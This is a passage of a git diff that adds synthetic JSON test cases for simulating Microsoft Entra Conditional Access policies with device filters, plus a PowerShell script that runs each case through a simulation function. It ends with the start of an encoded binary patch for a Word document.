"TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-075", + "deviceOwnership": "Company", + "DisplayName": "Device-075", + "EnrollmentProfileName": "Profile-075", + "isCompliant": false, + "Manufacturer": "Manufacturer-X", + "MdmAppId": "mdm-00075", + "Model": "Model-075", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.75", + "PhysicalIds": "physical-id-075", + "profileType": "RegisteredDevice", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-076", + "deviceOwnership": "Personal", + "DisplayName": "Device-076", + "EnrollmentProfileName": "Profile-076", + "isCompliant": true, + "Manufacturer": "Manufacturer-Y", + "MdmAppId": "mdm-00076", + "Model": "Model-076", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.76", + "PhysicalIds": "physical-id-076", + "profileType": "SecureVM", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-077", + "deviceOwnership": "Company", + "DisplayName": "Device-077", + "EnrollmentProfileName": "Profile-077", + "isCompliant": false, + "Manufacturer": "Manufacturer-Z", + "MdmAppId": "mdm-00077", + "Model": "Model-077", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.77", + "PhysicalIds": "physical-id-077", + "profileType": "Printer", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-078", + "deviceOwnership": "Personal", + "DisplayName": "Device-078", + "EnrollmentProfileName": "Profile-078", + "isCompliant": true, + "Manufacturer": "Manufacturer-A", + "MdmAppId": "mdm-00078", + "Model": "Model-078", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.78", + "PhysicalIds": "physical-id-078", + "profileType": "Shared", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-079", + "deviceOwnership": "Company", + "DisplayName": "Device-079", + "EnrollmentProfileName": "Profile-079", + "isCompliant": false, + "Manufacturer": "Manufacturer-B", + "MdmAppId": "mdm-00079", + "Model": "Model-079", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.79", + "PhysicalIds": "physical-id-079", + "profileType": "IoT", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-080", + "deviceOwnership": "Personal", + "DisplayName": "Device-080", + "EnrollmentProfileName": "Profile-080", + "isCompliant": true, + "Manufacturer": "Manufacturer-C", + "MdmAppId": "mdm-00080", + "Model": "Model-080", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.80", + "PhysicalIds": "physical-id-080", + "profileType": "RegisteredDevice", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-081", + "deviceOwnership": "Company", + "DisplayName": "Device-081", + "EnrollmentProfileName": "Profile-081", + "isCompliant": false, + "Manufacturer": "Manufacturer-D", + "MdmAppId": "mdm-00081", + "Model": "Model-081", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.81", + "PhysicalIds": "physical-id-081", + "profileType": "SecureVM", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-082", + "deviceOwnership": "Personal", + "DisplayName": "Device-082", + "EnrollmentProfileName": "Profile-082", + "isCompliant": true, + "Manufacturer": "Manufacturer-E", + "MdmAppId": "mdm-00082", + "Model": "Model-082", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.82", + "PhysicalIds": "physical-id-082", + "profileType": "Printer", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-083", + "deviceOwnership": "Company", + "DisplayName": "Device-083", + "EnrollmentProfileName": "Profile-083", + "isCompliant": false, + "Manufacturer": "Manufacturer-F", + "MdmAppId": "mdm-00083", + "Model": "Model-083", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.83", + "PhysicalIds": "physical-id-083", + "profileType": "Shared", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-084", + "deviceOwnership": "Personal", + "DisplayName": "Device-084", + "EnrollmentProfileName": "Profile-084", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00084", + "Model": "Model-084", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.84", + "PhysicalIds": "physical-id-084", + "profileType": "IoT", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-085", + "deviceOwnership": "Company", + "DisplayName": "Device-085", + "EnrollmentProfileName": "Profile-085", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00085", + "Model": "Model-085", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.85", + "PhysicalIds": "physical-id-085", + "profileType": "RegisteredDevice", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-086", + "deviceOwnership": "Personal", + "DisplayName": "Device-086", + "EnrollmentProfileName": "Profile-086", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00086", + "Model": "Model-086", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.86", + "PhysicalIds": "physical-id-086", + "profileType": "SecureVM", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-087", + "deviceOwnership": "Company", + "DisplayName": "Device-087", + "EnrollmentProfileName": "Profile-087", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00087", + "Model": "Model-087", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.87", + "PhysicalIds": "physical-id-087", + "profileType": "Printer", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-088", + "deviceOwnership": "Personal", + "DisplayName": "Device-088", + "EnrollmentProfileName": "Profile-088", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00088", + "Model": "Model-088", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.88", + "PhysicalIds": "physical-id-088", + "profileType": "Shared", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-089", + "deviceOwnership": "Company", + "DisplayName": "Device-089", + "EnrollmentProfileName": "Profile-089", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00089", + "Model": "Model-089", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.89", + "PhysicalIds": "physical-id-089", + "profileType": "IoT", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-090", + "deviceOwnership": "Personal", + "DisplayName": "Device-090", + "EnrollmentProfileName": "Profile-090", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00090", + "Model": "Model-090", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.90", + "PhysicalIds": "physical-id-090", + "profileType": "RegisteredDevice", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-091", + "deviceOwnership": "Company", + "DisplayName": "Device-091", + "EnrollmentProfileName": "Profile-091", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00091", + "Model": "Model-091", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.91", + "PhysicalIds": "physical-id-091", + "profileType": "SecureVM", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-092", + "deviceOwnership": "Personal", + "DisplayName": "Device-092", + "EnrollmentProfileName": "Profile-092", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00092", + "Model": "Model-092", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.92", + "PhysicalIds": "physical-id-092", + "profileType": "Printer", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-093", + "deviceOwnership": "Company", + "DisplayName": "Device-093", + "EnrollmentProfileName": "Profile-093", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00093", + "Model": "Model-093", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.93", + "PhysicalIds": "physical-id-093", + "profileType": "Shared", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-094", + "deviceOwnership": "Personal", + "DisplayName": "Device-094", + "EnrollmentProfileName": "Profile-094", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00094", + "Model": "Model-094", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.94", + "PhysicalIds": "physical-id-094", + "profileType": "IoT", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-095", + "deviceOwnership": "Company", + "DisplayName": "Device-095", + "EnrollmentProfileName": "Profile-095", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00095", + "Model": "Model-095", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.95", + "PhysicalIds": "physical-id-095", + "profileType": "RegisteredDevice", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-096", + "deviceOwnership": "Personal", + "DisplayName": "Device-096", + "EnrollmentProfileName": "Profile-096", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00096", + "Model": "Model-096", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.96", + "PhysicalIds": "physical-id-096", + "profileType": "SecureVM", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-097", + "deviceOwnership": "Company", + "DisplayName": "Device-097", + "EnrollmentProfileName": "Profile-097", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00097", + "Model": "Model-097", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.97", + "PhysicalIds": "physical-id-097", + "profileType": "Printer", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-098", + "deviceOwnership": "Personal", + "DisplayName": "Device-098", + "EnrollmentProfileName": "Profile-098", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00098", + "Model": "Model-098", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.98", + "PhysicalIds": "physical-id-098", + "profileType": "Shared", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-099", + "deviceOwnership": "Company", + "DisplayName": "Device-099", + "EnrollmentProfileName": "Profile-099", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00099", + "Model": "Model-099", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.99", + "PhysicalIds": "physical-id-099", + "profileType": "IoT", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + } +] \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt b/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt new file mode 100644 index 0000000..b6f095c --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt @@ -0,0 +1,37 @@ +$jsonFilePath = "C:\Users\ramaz\Desktop\jsonTestCases\100_test_cases_with_deviceFilters.json" + +# Load file +$testCases = Get-Content -Path $jsonFilePath | ConvertFrom-Json + +# Loop +foreach ($testCase in $testCases) { + $Parameters = @{ + UserPrincipalName = $testCase.UserPrincipalName + ApplicationDisplayName = $testCase.ApplicationDisplayName + ClientApp = $testCase.ClientApp + TrustedIPAddress = [bool]$testCase.TrustedIPAddress + Country = $testCase.Country + Platform = $testCase.Platform + SignInRiskLevel = $testCase.SignInRiskLevel + UserRiskLevel = $testCase.UserRiskLevel + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceId = $testCase.DeviceId + DisplayName = $testCase.DisplayName + DeviceOwnership = $testCase.DeviceOwnership + EnrollmentProfileName = $testCase.EnrollmentProfileName + IsCompliant = $testCase.IsCompliant + Manufacturer = $testCase.Manufacturer + MdmAppId = $testCase.MdmAppId + Model = $testCase.Model + OperatingSystem = $testCase.OperatingSystem + OperatingSystemVersion = $testCase.OperatingSystemVersion + PhysicalIds = $testCase.PhysicalIds + ProfileType = $testCase.ProfileType + SystemLabels = $testCase.SystemLabels + TrustType = $testCase.TrustType + } + Write-Host "Running test case for user: $($testCase.UserPrincipalName)" + Invoke-DCConditionalAccessSimulationWithDevices @Parameters +} \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx b/CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx new file mode 100644 index 0000000000000000000000000000000000000000..3e39b98977a806bfa3995ce8d3cff69bb450120f GIT binary patch literal 1744704 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 